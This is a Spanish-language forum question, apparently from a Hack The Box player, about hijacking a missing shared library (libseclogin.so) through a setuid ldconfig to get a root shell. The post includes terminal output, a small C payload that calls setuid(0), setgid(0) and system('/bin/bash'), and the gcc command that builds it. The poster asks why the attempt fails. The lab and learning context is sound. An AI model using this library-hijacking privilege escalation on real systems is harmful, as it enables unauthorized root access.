Actualmente estoy trabajando en un desafío en Hack the Box y estoy tratando de obtener un ejecutable existente en una máquina de ejercicios para que lo ejecute la biblioteca en lugar de uno que falta en la secuencia de comandos "vulnerable".
La biblioteca que falta es libseclogin.so
. He creado un nuevo archivo en /dev/shm
y desde allí he intentado usar ldconfig
para vincular manualmente la nueva biblioteca y colocarme en una shell cuando se ejecuta myexec
. ldconfig
tiene establecido el bit adhesivo.
Aquí están los comandos que he ejecutado. Al final, puede ver que cuando vuelvo a ejecutar ldd
para comprobar que la biblioteca se ha vuelto a vincular a /dev/shm/libseclogin.so
que no ha habido cambios.
¿Me estoy perdiendo algo de este proceso?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
Este es el C
scipt básico que estoy usando para colocar en el shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Comando compilar para crear una biblioteca compartida.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl